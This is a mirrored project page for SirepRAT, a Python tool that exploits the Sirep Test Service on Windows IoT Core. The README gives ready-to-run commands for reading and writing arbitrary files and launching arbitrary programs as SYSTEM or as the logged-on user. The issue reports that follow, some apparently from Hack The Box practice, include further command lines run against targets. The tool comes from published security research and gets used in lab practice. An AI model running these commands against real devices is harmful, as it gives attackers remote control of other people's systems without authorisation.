Giter Club home page Giter Club logo

sireprat's Introduction

SirepRAT

SirepRAT - RCE as SYSTEM on Windows IoT Core

SirepRAT Features full RAT capabilities without the need of writing a real RAT malware on target.

Context

The method is exploiting the Sirep Test Service that’s built in and running on the official images offered at Microsoft’s site. This service is the client part of the HLK setup one may build in order to perform driver/hardware tests on the IoT device. It serves the Sirep/WPCon/TShell protocol.

We broke down the Sirep/WPCon protocol and demonstrated how this protocol exposes a remote command interface for attackers, that include RAT abilities such as get/put arbitrary files on arbitrary locations and obtain system information.

Based on the findings we have extracted from this research about the service and protocol, we built a simple python tool that allows exploiting them using the different supported commands. We called it SirepRAT.

It features an easy and intuitive user interface for sending commands to a Windows IoT Core target. It works on any cable-connected device running Windows IoT Core with an official Microsoft image.

Slides and White Paper

Slides and research White Paper are in the docs folder

Setup

pip install -r requirements.txt

Usage

Download File

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Upload File

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Run Arbitrary Program

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

With arguments, impersonated as the currently logged on user:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Try to run it without the as_logged_on_user flag to demonstrate the SYSTEM execution capability)

Get System Information

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Get File Information

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

See help for full details:

python SirepRAT.py --help

Author

Dor Azouri (@bemikre)

Contributors

movatica (@movatica) - porting to python 3! (at the finish line of 2020)

License

BSD 3 - clause "New" or "Revised" License

sireprat's People

Contributors

dorazouri avatar movatica avatar pwnfoo avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sireprat's Issues

AttributeError: 'int' object has no attribute 'value'

Using the SirepRAT python throws an AttributeError:

Traceback (most recent call last):
  File "SirepRAT.py", line 52, in <module>
    from common.mappings import SIREP_COMMANDS, RESULT_TYPE_TO_RESULT
  File "/home/kali/HackTheWorld/boxes/omni/SirepRAT/common/mappings.py", line 66, in <module>
    ResultRecordType.HResult.value: results.HResultResult,
AttributeError: 'int' object has no attribute 'value'

mappings.py line 65: AttributeError: 'int' object has no attribute 'value'

Hello

When I run the following command, I have the following error

python SirepRAT.py 10.10.xx.xx LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell.exe ipconfig" --v
Traceback (most recent call last):
File "SirepRAT.py", line 52, in
from common.mappings import SIREP_COMMANDS, RESULT_TYPE_TO_RESULT
File "/home/tomski/HTB/SirepRAT/common/mappings.py", line 65, in
ResultRecordType.SystemInformation.value: results.SystemInformationResult,
AttributeError: 'int' object has no attribute 'value'

Could you please help me to fix it?

missing "-" in readme.md

Hey, just a little typo in the readme where

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" -v

should be

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Still great work, thx for the script!

AttributeError: 'int' object has no attribute 'value'

Hello,

I've tried using SirepRAT on ParrotOS and the ARM version of Kali, and I keep getting the following error:

Traceback (most recent call last):
File "SirepRAT.py", line 52, in
from common.mappings import SIREP_COMMANDS, RESULT_TYPE_TO_RESULT
File "/root/hackthebox/Omni/SirepRAT/common/mappings.py", line 65, in
ResultRecordType.SystemInformation.value: results.SystemInformationResult,
AttributeError: 'int' object has no attribute 'value'

Can you please advise me on how to solve this issue?

Thank you.

module hexdump not found for SirepRAT-2.0.0

i tried running SirepRAT on a kali linux (2020-12-18) and got a hexdump module error when i already have hexdump installed. any help or could i be doing something wrong?

sirepRAT-error

i already tried changing the requirements.txt and SirepRAT,py files to executables but nothing, still gives same error.
then I tried as root user but also failed.

python3 SyntaxError

File "SirepRAT.py", line 98
print "RECV:"
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("RECV:")?

'int' object has no attribute 'value'

Tried to run the program on kali with python 2.7, get this output:

Traceback (most recent call last): File "SirepRAT.py", line 52, in <module> from common.mappings import SIREP_COMMANDS, RESULT_TYPE_TO_RESULT File "/home/drsuius/PortableTools/Python/SirepRAT/common/mappings.py", line 65, in <module> ResultRecordType.SystemInformation.value: results.SystemInformationResult, AttributeError: 'int' object has no attribute 'value'

No module named common.constants

python SirepRAT.py
Traceback (most recent call last):
File "SirepRAT.py", line 49, in
from common.constants import SIREP_VERSION_GUID_LEN, LOGGING_FORMAT, LOGGING_LEVEL, SIREP_PORT, INT_SIZE,
ImportError: No module named common.constants

No module named hexdump

after install of hex dump still showing the same error
"Traceback (most recent call last):
File "SirepRAT.py", line 47, in
import hexdump
ImportError: No module named hexdump
"

can't run the script

when i changed the code for exec it with python3, i get this error, i have installed all packages from pip, this is the error

Traceback (most recent call last): File "SirepRAT.py", line 52, in <module> from common.mappings import SIREP_COMMANDS, RESULT_TYPE_TO_RESULT File "/home/dadolikes74/ctf-htb/omni/SirepRAT/common/mappings.py", line 41, in <module> from enums.CommandType import CommandType ModuleNotFoundError: No module named 'enums.CommandType'; 'enums' is not a package

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.